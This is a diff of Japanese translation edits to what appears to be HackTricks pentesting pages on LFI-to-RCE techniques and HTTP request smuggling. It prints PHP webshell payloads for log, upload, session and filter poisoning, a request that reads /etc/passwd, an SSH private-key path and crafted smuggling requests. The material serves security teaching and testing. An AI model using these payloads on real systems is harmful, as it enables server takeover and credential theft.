**脆弱性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (これだけを読み取るターゲット)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**脆弱性のある可能性のある関数**: `file_get_contents`、`readfile`、`finfo->file`、`getimagesize`、`md5_file`、`sha1_file`、`hash_file`、`file`、`parse_ini_file`、`copy`、`file_put_contents(これを使用して読み取り専用のみを対象とする)`、`stream_get_contents`、`fgets`、`fread`、`fgetc`、`fgetcsv`、`fpassthru`、`fputs`
|
||||
|
||||
技術的な詳細については、言及された投稿をチェックしてください!
|
||||
|
||||
|
@ -462,19 +470,19 @@ assert("strpos('$file', '..') === false") or die("");
|
|||
|
||||
### リモートファイルインクルージョン
|
||||
|
||||
以前に説明した内容は、[**このリンク**](./#remote-file-inclusion) を参照してください。
|
||||
以前に説明した内容は、[**このリンク**](./#remote-file-inclusion)を参照してください。
|
||||
|
||||
### Apache/Nginxログファイル経由
|
||||
|
||||
ApacheまたはNginxサーバーが**LFIに脆弱**である場合、インクルード機能内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`** にアクセスを試みることができます。**ユーザーエージェント**または**GETパラメータ**内に **`<?php system($_GET['c']); ?>`** のようなPHPシェルを設定し、そのファイルをインクルードします
|
||||
ApacheまたはNginxサーバーが**LFIに脆弱**である場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし、**ユーザーエージェント**または**GETパラメータ**内に**`<?php system($_GET['c']); ?>`**のようなPHPシェルを設定し、そのファイルをインクルードできます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
シェルに**単一引用符**ではなく**二重引用符**を使用すると、二重引用符が文字列 "_**quote;**_" に変更され、**PHPはそこでエラーをスロー**し、**それ以外の何も実行されません**。
|
||||
シェルに**単一引用符**ではなく**二重引用符**を使用すると、二重引用符が文字列 "_**quote;**_"に変更され、**PHPはそこでエラーをスロー**し、**それ以外の処理は実行されません**。
|
||||
|
||||
また、ペイロードを**正しく記述**することを確認してください。そうしないと、ログファイルを読み込むたびにPHPがエラーをスローし、2回目の機会が得られなくなります。
|
||||
また、ペイロードを**正しく記述**することを確認してください。そうしないと、ログファイルをロードしようとするたびにPHPがエラーをスローし、2回目の機会が得られません。
|
||||
{% endhint %}
|
||||
|
||||
これは他のログでも行うことができますが、ログ内のコードはURLエンコードされている可能性があるため、これはシェルを破壊する可能性があります。ヘッダー **authorisation "basic"** には Base64 で "user:password" が含まれ、ログ内でデコードされます。PHPShell をこのヘッダー内に挿入することができます。\
|
||||
これは他のログでも行うことができますが、ログ内のコードはURLエンコードされている可能性があるため、これがシェルを破壊する可能性があります。ヘッダー**authorisation "basic"**にはBase64で"user:password"が含まれ、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入される可能性があります。\
|
||||
他の可能なログパス:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
|
@ -491,31 +499,29 @@ ApacheまたはNginxサーバーが**LFIに脆弱**である場合、インク
|
|||
|
||||
### メール経由
|
||||
|
||||
**内部アカウント**(user@localhost)にPHPペイロード(`<?php echo system($_REQUEST["cmd"]); ?>`のような)を含むメールを送信し、**`/var/mail/<USERNAME>`**や**`/var/spool/mail/<USERNAME>`**のようなパスでユーザーのメールに含めてみてください。
|
||||
**内部アカウント**(user@localhost)にPHPペイロード(例:`<?php echo system($_REQUEST["cmd"]); ?>`)を含むメールを送信し、ユーザーのメールに **`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のようなパスでインクルードしてみてください。
|
||||
|
||||
### /proc/\*/fd/\* 経由
|
||||
|
||||
1. 多数のシェルをアップロードします(例:100個)
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)をインクルードします。ここで、$PIDはプロセスのPID(ブルートフォースできます)であり、$FDはファイルディスクリプタ(これもブルートフォースできます)です。
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) をインクルードします。ここで、$PID はプロセスのPID(ブルートフォースできます)であり、$FD はファイルディスクリプタ(これもブルートフォースできます)です。
|
||||
|
||||
### /proc/self/environ 経由
|
||||
|
||||
ログファイルのように、ペイロードをUser-Agentで送信すると、/proc/self/environファイル内に反映されます。
|
||||
ログファイルのように、ペイロードをUser-Agentで送信し、/proc/self/environ ファイル内に反映されます。
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### アップロード経由
|
||||
|
||||
ファイルをアップロードできる場合は、シェルペイロードをその中にインジェクトしてください(例:`<?php system($_GET['c']); ?>`)。
|
||||
ファイルをアップロードできる場合は、単にシェルペイロードを注入してください(例:`<?php system($_GET['c']); ?>`)。
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
ファイルを読みやすく保つためには、画像/ドキュメント/PDFのメタデータにインジェクトするのが最適です
|
||||
### Zipファイルのアップロード経由
|
||||
|
||||
### Zipファイルをアップロードする方法
|
||||
|
||||
PHPシェルが圧縮されたZIPファイルをアップロードしてアクセスします:
|
||||
PHPシェルが圧縮されたZIPファイルをアップロードしてアクセスします:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
|
@ -535,32 +541,32 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
|
|||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
LFIを使用してPHPセッションファイルをインクルードします。
|
||||
LFIを使用してPHPセッションファイルをインクルードします
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### SSH経由
|
||||
|
||||
sshがアクティブである場合は、使用されているユーザーを確認します(/proc/self/status&/etc/passwd)そして**\<HOME>/.ssh/id\_rsa**にアクセスを試みます。
|
||||
sshがアクティブである場合は、使用されているユーザーを確認します(/proc/self/statusおよび/etc/passwd)し、**\<HOME>/.ssh/id\_rsa**にアクセスを試みます。
|
||||
|
||||
### **vsftpd** _ログ_経由
|
||||
### **vsftpd** _ログ_ 経由
|
||||
|
||||
FTPサーバーvsftpdのログは**_/var/log/vsftpd.log_**にあります。ローカルファイルインクルージョン(LFI)脆弱性が存在し、公開されたvsftpdサーバーへのアクセスが可能な場合、次の手順が考慮されます:
|
||||
FTPサーバーvsftpdのログは _**/var/log/vsftpd.log**_ にあります。ローカルファイルインクルージョン(LFI)脆弱性が存在し、公開されたvsftpdサーバーへのアクセスが可能な場合、次の手順を検討できます:
|
||||
|
||||
1. ログインプロセス中にユーザー名フィールドにPHPペイロードをインジェクトします。
|
||||
2. インジェクション後、LFIを使用して**_/var/log/vsftpd.log_**からサーバーログを取得します。
|
||||
2. インジェクション後、LFIを使用して _**/var/log/vsftpd.log**_ からサーバーログを取得します。
|
||||
|
||||
### PHPベース64フィルター経由(base64を使用)
|
||||
|
||||
[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHPベース64フィルターは非base64を無視します。これを使用してファイル拡張子のチェックをバイパスできます:base64で終わる".php"を提供すると、"."を無視して"php"をbase64に追加します。以下は例のペイロードです:
|
||||
[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 記事に示されているように、PHPベース64フィルターは非ベース64を無視します。これを使用してファイル拡張子のチェックをバイパスできます:base64で終わる".php"を提供すると、"."を無視して"php"をbase64に追加します。以下は例です:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### phpフィルターを介して(ファイル不要)
|
||||
### phpフィルターを使用して(ファイル不要)
|
||||
|
||||
この[**解説**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)では、**phpフィルターを使用して**任意のコンテンツを出力できることが説明されています。つまり、**ファイルに書き込む必要なしに**、インクルード用に**任意のphpコードを生成**できます。
|
||||
この[**解説**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)によると、**phpフィルターを使用して**任意のコンテンツを出力できます。つまり、**ファイルに書き込む必要なしに**、インクルード用に**任意のphpコードを生成**できます。
|
||||
|
||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||
|
@ -576,7 +582,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
|
||||
### Nginxの一時ファイルストレージを介して
|
||||
|
||||
**ローカルファイルインクルージョン**を見つけ、**Nginx**がPHPの前で実行されている場合、次のテクニックを使用してRCEを取得できるかもしれません:
|
||||
**ローカルファイルインクルージョン**を見つけ、**Nginx**がPHPの前で実行されている場合、次のテクニックでRCEを取得できるかもしれません:
|
||||
|
||||
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
||||
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
||||
|
@ -587,7 +593,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
セッションがなく、`session.auto_start`が`Off`でも**ローカルファイルインクルージョン**を見つけた場合、**`PHP_SESSION_UPLOAD_PROGRESS`**を**マルチパートPOST**データで提供すると、PHPが**セッションを有効に**します。これを悪用してRCEを取得できます:
|
||||
|
||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||
[via-php\_session\_upload\_progress.md](via-php_session_upload_progress.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Windowsでの一時ファイルアップロードを介して
|
||||
|
@ -611,12 +617,12 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
**ローカルファイルインクルージョン**を見つけ、一時ファイルのパスを**外部に送信**できるが、**サーバー**が**インクルードするファイルにPHPマークがあるかどうかを確認**している場合、この**競合状態**を使用してそのチェックを**バイパス**できます:
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
[lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 永遠の待機 + ブルートフォースを介して
|
||||
|
||||
LFIを悪用して**一時ファイルをアップロード**し、サーバーが**PHP実行を停止**させることができれば、その後**数時間かけてファイル名をブルートフォース**して一時ファイルを見つけることができます:
|
||||
LFIを悪用して**一時ファイルをアップロード**し、サーバーのPHP実行を**停止**させることができれば、その後**数時間かけてファイル名をブルートフォース**して一時ファイルを見つけることができます:
|
||||
|
||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
|
@ -624,16 +630,16 @@ LFIを悪用して**一時ファイルをアップロード**し、サーバー
|
|||
|
||||
### 致命的エラーへ
|
||||
|
||||
`/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`のいずれかをインクルードすると、PHP致命的エラーが発生します(同じものを2回インクルードする必要があります)。
|
||||
`/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`のいずれかをインクルードします(同じものを2回インクルードする必要があります)。
|
||||
|
||||
**これがどのように有用かはわかりませんが、有用かもしれません。**\
|
||||
_PHP致命的エラーを引き起こしても、PHPによってアップロードされた一時ファイルは削除されます。_
|
||||
**これがどのように有用かはわかりませんが、そうかもしれません。**\
|
||||
_PHP致命的エラーを引き起こしても、PHPの一時ファイルアップロードは削除されます。_
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
|
||||
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
||||
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
||||
|
@ -643,12 +649,12 @@ _PHP致命的エラーを引き起こしても、PHPによってアップロー
|
|||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
|
||||
|
||||
**ハッキングの洞察**\
|
||||
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
|
||||
ハッキングのスリルと課題に深く入り込むコンテンツに参加しましょう
|
||||
|
||||
**リアルタイムハックニュース**\
|
||||
リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態で把握しましょう
|
||||
リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態に保ちましょう
|
||||
|
||||
**最新のアナウンスメント**\
|
||||
**最新の発表**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
|
||||
|
||||
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう!
|
||||
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう!**
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# HTTP リクエストスマグリング / HTTP デシンク攻撃
|
||||
# HTTP リクエストスムギリング / HTTP デシンク攻撃
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,63 +6,69 @@
|
|||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
|
||||
* **HackTricks で企業を宣伝**したい場合や **HackTricks を PDF でダウンロード** したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、 [telegramグループ](https://t.me/peass) に参加するか、 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
|
||||
* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォロー**する
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出する
|
||||
|
||||
</details>
|
||||
|
||||
## 何を指すか
|
||||
|
||||
この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバーの間の**非同期化**により、**攻撃者**がHTTP **リクエスト**を送信し、それが**フロントエンド**プロキシ(ロードバランス/リバースプロキシ)によって**1つのリクエスト**として**解釈**され、**バックエンド**サーバーによって**2つのリクエスト**として解釈されることを可能にします。\
|
||||
この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバーの間の**非同期化**により、**攻撃者**がHTTP **リクエスト**を送信し、それが**フロントエンド**プロキシ(ロードバランス/リバースプロキシ)によって**1つのリクエスト**として**解釈**され、**バックエンド**サーバーによって**2つのリクエスト**として**解釈**されることができる脆弱性です。\
|
||||
これにより、ユーザーは**自分の後に到着する次のリクエストを変更**することができます。
|
||||
|
||||
### 理論
|
||||
|
||||
[**RFC仕様(2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
[**RFC 仕様(2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
> メッセージにTransfer-EncodingヘッダーフィールドとContent-Lengthヘッダーフィールドの両方が含まれる場合、後者は無視される必要があります。
|
||||
> メッセージに Transfer-Encoding ヘッダーフィールドと Content-Length ヘッダーフィールドの両方が含まれる場合、後者は無視される必要があります。
|
||||
|
||||
**Content-Length**
|
||||
|
||||
> Content-Lengthエンティティヘッダーは、受信者に送信されるエンティティボディのサイズ(バイト単位)を示します。
|
||||
> Content-Length エンティティヘッダーは、受信者に送信されるエンティティボディのサイズ(バイト単位)を示します。
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> Transfer-Encodingヘッダーは、ペイロードボディを安全にユーザーに転送するために使用されるエンコーディング形式を指定します。\
|
||||
> Chunkedは、大きなデータがチャンクのシリーズで送信されることを意味します。
|
||||
> Transfer-Encoding ヘッダーは、ペイロードボディを安全にユーザーに転送するために使用されるエンコーディング形式を指定します。\
|
||||
> Chunked は、大きなデータがチャンクのシリーズで送信されることを意味します。
|
||||
|
||||
### 現実
|
||||
|
||||
**フロントエンド**(ロードバランス/リバースプロキシ)は _**content-length**_ または _**transfer-encoding**_ ヘッダーを処理し、**バックエンド**サーバーは**もう一方**を処理するため、2つのシステムの間に**非同期化**を引き起こします。\
|
||||
これは非常に重大であり、**攻撃者がリバースプロキシに1つのリクエストを送信**し、**バックエンド**サーバーが**2つの異なるリクエスト**として解釈することができます。この技術の危険性は、**バックエンド**サーバーが**注入された2番目のリクエスト**を**次のクライアントから来たものとして解釈**し、そのクライアントの**実際のリクエスト**が**注入されたリクエスト**の一部として扱われることにあります。
|
||||
**フロントエンド**(ロードバランス/リバースプロキシ)は _**content-length**_ または _**transfer-encoding**_ ヘッダーを処理し、**バックエンド**サーバーは**もう一方**を処理するため、2つのシステムの間に**非同期化**が引き起こされます。\
|
||||
これは非常に重大であり、**攻撃者はリバースプロキシに1つのリクエストを送信**し、それが**バックエンド**サーバーによって**2つの異なるリクエスト**として解釈されることができます。この技術の危険性は、**バックエンド**サーバーが**注入された2番目のリクエスト**を**次のクライアントから来たものとして解釈**し、そのクライアントの**実際のリクエスト**が**注入されたリクエスト**の一部として扱われることにあります。
|
||||
|
||||
### 特異性
|
||||
|
||||
HTTPでは、**改行文字は2バイトで構成される**ことを覚えておいてください:
|
||||
HTTP では、**改行文字は 2 バイトで構成される**ことを覚えておいてください:
|
||||
|
||||
* **Content-Length**: このヘッダーは、リクエストのボディの**バイト数**を示す**10進数**を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの末尾に改行は必要ありません**。
|
||||
* **Transfer-Encoding:** このヘッダーは、**次のチャンクのバイト数**を示す**16進数**を**ボディ**で使用します。**チャンク**は**新しい行で終了**する必要がありますが、この新しい行は長さ指示子には**含まれません**。この転送方法は、**サイズ0のチャンクに続く2つの新しい行で終了**する必要があります: `0`
|
||||
* **Connection**: 私の経験に基づいて、リクエストスマグリングの最初のリクエストで **`Connection: keep-alive`** を使用することをお勧めします。
|
||||
* **Content-Length**: このヘッダーは、リクエストの本文の**バイト数**を示す**10進数**を使用します。本文は最後の文字で終了することが期待されており、**リクエストの最後に改行が必要ありません**。
|
||||
* **Transfer-Encoding:** このヘッダーは、**次のチャンク**の**バイト数**を示す**16進数**を**本文**で使用します。**チャンク**は**改行で終了**する必要がありますが、この改行は**長さ指示子には含まれません**。この転送方法は、**サイズ 0 のチャンクに続く 2 つの改行で終了**する必要があります: `0`
|
||||
* **Connection**: 私の経験に基づいて、リクエストスムギリングの最初のリクエストで **`Connection: keep-alive`** を使用することをお勧めします。
|
||||
|
||||
## 基本的な例
|
||||
|
||||
HTTPリクエストスマグリング攻撃は、フロントエンドとバックエンドサーバーが`Content-Length`(CL)および`Transfer-Encoding`(TE)ヘッダーを解釈する方法の違いを悪用する曖昧なリクエストを送信して作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、**TE.TE**の形で現れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表します。サーバーが同じリクエストを異なる方法で処理することから、脆弱性が生じ、予期しない悪意のある結果が生じる可能性があります。
|
||||
{% hint style="success" %}
|
||||
これを Burp Suite で悪用しようとするときは、リピーターで **`Update Content-Length` と `Normalize HTTP/1 line endings` を無効にしてください**。一部のガジェットは改行、キャリッジリターン、および不正な content-length を悪用しています。
|
||||
{% endhint %}
|
||||
|
||||
HTTP リクエストスムギリング攻撃は、フロントエンドとバックエンドサーバーが `Content-Length`(CL)および `Transfer-Encoding`(TE)ヘッダーを解釈する方法の違いを悪用する曖昧なリクエストを送信して作成されます。これらの攻撃は、主に **CL.TE**、**TE.CL**、および **TE.TE** として表れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表します。サーバーが同じリクエストを異なる方法で処理することにより、脆弱性が発生し、予期しない悪意のある結果が生じる可能性があります。
|
||||
|
||||
### 脆弱性タイプの基本的な例
|
||||
|
||||
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
||||
|
||||
#### CL.TE 脆弱性(フロントエンドがContent-Lengthを使用し、バックエンドがTransfer-Encodingを使用)
|
||||
- **フロントエンド(CL):** `Content-Length`ヘッダーに基づいてリクエストを処理します。
|
||||
- **バックエンド(TE):** `Transfer-Encoding`ヘッダーに基づいてリクエストを処理します。
|
||||
- **攻撃シナリオ:**
|
||||
- 攻撃者は、`Content-Length`ヘッダーの値が実際のコンテンツ長と一致しないリクエストを送信します。
|
||||
- フロントエンドサーバーは、`Content-Length`の値に基づいてリクエスト全体をバックエンドに転送します。
|
||||
- バックエンドサーバーは、`Transfer-Encoding: chunked`ヘッダーによりリクエストをチャンク化し、残りのデータを別々の後続リクエストとして解釈します。
|
||||
- **例:**
|
||||
#### CL.TE 脆弱性(フロントエンドが Content-Length を使用し、バックエンドが Transfer-Encoding を使用)
|
||||
|
||||
* **フロントエンド(CL):** `Content-Length` ヘッダーに基づいてリクエストを処理します。
|
||||
* **バックエンド(TE):** `Transfer-Encoding` ヘッダーに基づいてリクエストを処理します。
|
||||
* **攻撃シナリオ:**
|
||||
* 攻撃者は、`Content-Length` ヘッダーの値が実際のコンテンツ長さと一致しないリクエストを送信します。
|
||||
* フロントエンドサーバーは、`Content-Length` の値に基づいてリクエスト全体をバックエンドに転送します。
|
||||
* バックエンドサーバーは、`Transfer-Encoding: chunked` ヘッダーによりリクエストをチャンク化し、残りのデータを別々の後続リクエストとして解釈します。
|
||||
* **例:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -76,14 +82,16 @@ GET /404 HTTP/1.1
|
|||
Foo: x
|
||||
```
|
||||
|
||||
#### TE.CL 脆弱性(フロントエンドがTransfer-Encodingを使用し、バックエンドがContent-Lengthを使用)
|
||||
- **フロントエンド(TE):** `Transfer-Encoding`ヘッダーに基づいてリクエストを処理します。
|
||||
- **バックエンド(CL):** `Content-Length`ヘッダーに基づいてリクエストを処理します。
|
||||
- **攻撃シナリオ:**
|
||||
- 攻撃者は、チャンクサイズ(`7b`)と実際のコンテンツ長(`Content-Length: 4`)が一致しないチャンクリクエストを送信します。
|
||||
- フロントエンドサーバーは、`Transfer-Encoding`を尊重し、リクエスト全体をバックエンドに転送します。
|
||||
- バックエンドサーバーは、`Content-Length`を尊重し、リクエストの初期部分のみ(`7b`バイト)を処理し、残りを意図しない後続リクエストの一部として残します。
|
||||
- **例:**
|
||||
#### TE.CL 脆弱性(フロントエンドが Transfer-Encoding を使用し、バックエンドが Content-Length を使用)
|
||||
|
||||
* **フロントエンド(TE):** `Transfer-Encoding` ヘッダーに基づいてリクエストを処理します。
|
||||
* **バックエンド(CL):** `Content-Length` ヘッダーに基づいてリクエストを処理します。
|
||||
* **攻撃シナリオ:**
|
||||
* 攻撃者は、チャンクサイズ(`7b`)と実際のコンテンツ長さ(`Content-Length: 4`)が一致しないチャンクリクエストを送信します。
|
||||
* フロントエンドサーバーは、`Transfer-Encoding` を尊重し、リクエスト全体をバックエンドに転送します。
|
||||
* バックエンドサーバーは、`Content-Length` を尊重し、リクエストの初期部分(`7b` バイト)のみを処理し、残りを意図しない後続リクエストの一部として残します。
|
||||
* **例:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -101,14 +109,15 @@ x=
|
|||
0
|
||||
|
||||
```
|
||||
#### TE.TE脆弱性(両方で使用されるTransfer-Encoding、隠蔽あり)
|
||||
|
||||
* **サーバー:** 両方が`Transfer-Encoding`をサポートしていますが、隠蔽を通じて無視される可能性があります。
|
||||
* **攻撃シナリオ:**
|
||||
* 攻撃者は、Transfer-Encodingヘッダーを隠蔽してリクエストを送信します。
|
||||
* どちらのサーバー(フロントエンドまたはバックエンド)が隠蔽を認識できないかに応じて、CL.TEまたはTE.CL脆弱性が悪用される可能性があります。
|
||||
* 1つのサーバーが見たリクエストの未処理部分が、後続のリクエストの一部となり、スマグリングが発生します。
|
||||
* **例:**
|
||||
|
||||
#### TE.TE 脆弱性(両方でTransfer-Encodingを使用し、曖昧化)
|
||||
- **サーバー:** 両方が`Transfer-Encoding`をサポートしていますが、曖昧化によって無視される可能性があります。
|
||||
- **攻撃シナリオ:**
|
||||
- 攻撃者は、曖昧化された`Transfer-Encoding`ヘッダーを含むリクエストを送信します。
|
||||
- どちらのサーバー(フロントエンドまたはバックエンド)が曖昧化を認識できないかに応じて、CL.TEまたはTE.CL脆弱性が悪用される可能性があります。
|
||||
- 1つのサーバーが見る未処理のリクエストの部分が、後続リクエストの一部となり、スマグリングが発生します。
|
||||
- **例:**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -126,10 +135,12 @@ Transfer-Encoding
|
|||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL シナリオ(フロントエンドとバックエンドの両方がContent-Lengthを使用):**
|
||||
- 両方のサーバーがリクエストを**Content-Length**ヘッダーだけを基に処理します。
|
||||
- 通常、両方のサーバーがリクエストの長さを解釈する方法に一致があるため、スマグリングにはつながりません。
|
||||
- **例:**
|
||||
#### **CL.CLシナリオ(フロントエンドとバックエンドの両方で使用されるContent-Length):**
|
||||
|
||||
* 両方のサーバーは、`Content-Length`ヘッダーに基づいてリクエストを処理します。
|
||||
* 通常、このシナリオはスマグリングにはつながりません。両方のサーバーがリクエストの長さを解釈する方法に整合性があるためです。
|
||||
* **例:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -139,33 +150,37 @@ Connection: keep-alive
|
|||
通常のリクエスト
|
||||
```
|
||||
|
||||
#### **CL != 0 シナリオ:**
|
||||
- `Content-Length`ヘッダーが存在し、ゼロ以外の値を持っている場合を指します。これは、リクエストボディにコンテンツがあることを示します。
|
||||
- スマグリング攻撃を理解し、作成する上で重要であり、サーバーがリクエストの終わりをどのように決定するかに影響を与えます。
|
||||
- **例:**
|
||||
#### **CL != 0シナリオ:**
|
||||
|
||||
* `Content-Length`ヘッダーが存在し、ゼロ以外の値を持ち、リクエストボディにコンテンツがあることを示すシナリオを指します。
|
||||
* スマグリング攻撃を理解し、作成する際に重要であり、サーバーがリクエストの終了を決定する方法に影響を与えます。
|
||||
* **例:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Content-Length: 16
|
||||
Connection: keep-alive
|
||||
|
||||
Non-Empty Body
|
||||
空でないボディ
|
||||
```
|
||||
|
||||
#### ホップバイホップヘッダーを使用して強制する
|
||||
#### ホップバイホップヘッダーを介した強制
|
||||
|
||||
ホップバイホップヘッダーを悪用することで、プロキシにヘッダーContent-LengthまたはTransfer-Encodingを**削除するよう指示**することができ、HTTPリクエストスマグリングを悪用することが可能です。
|
||||
ホップバイホップヘッダーを悪用することで、プロキシにヘッダーContent-LengthまたはTransfer-Encodingを削除するよう指示し、HTTPリクエストスマグリングを悪用することが可能です。
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
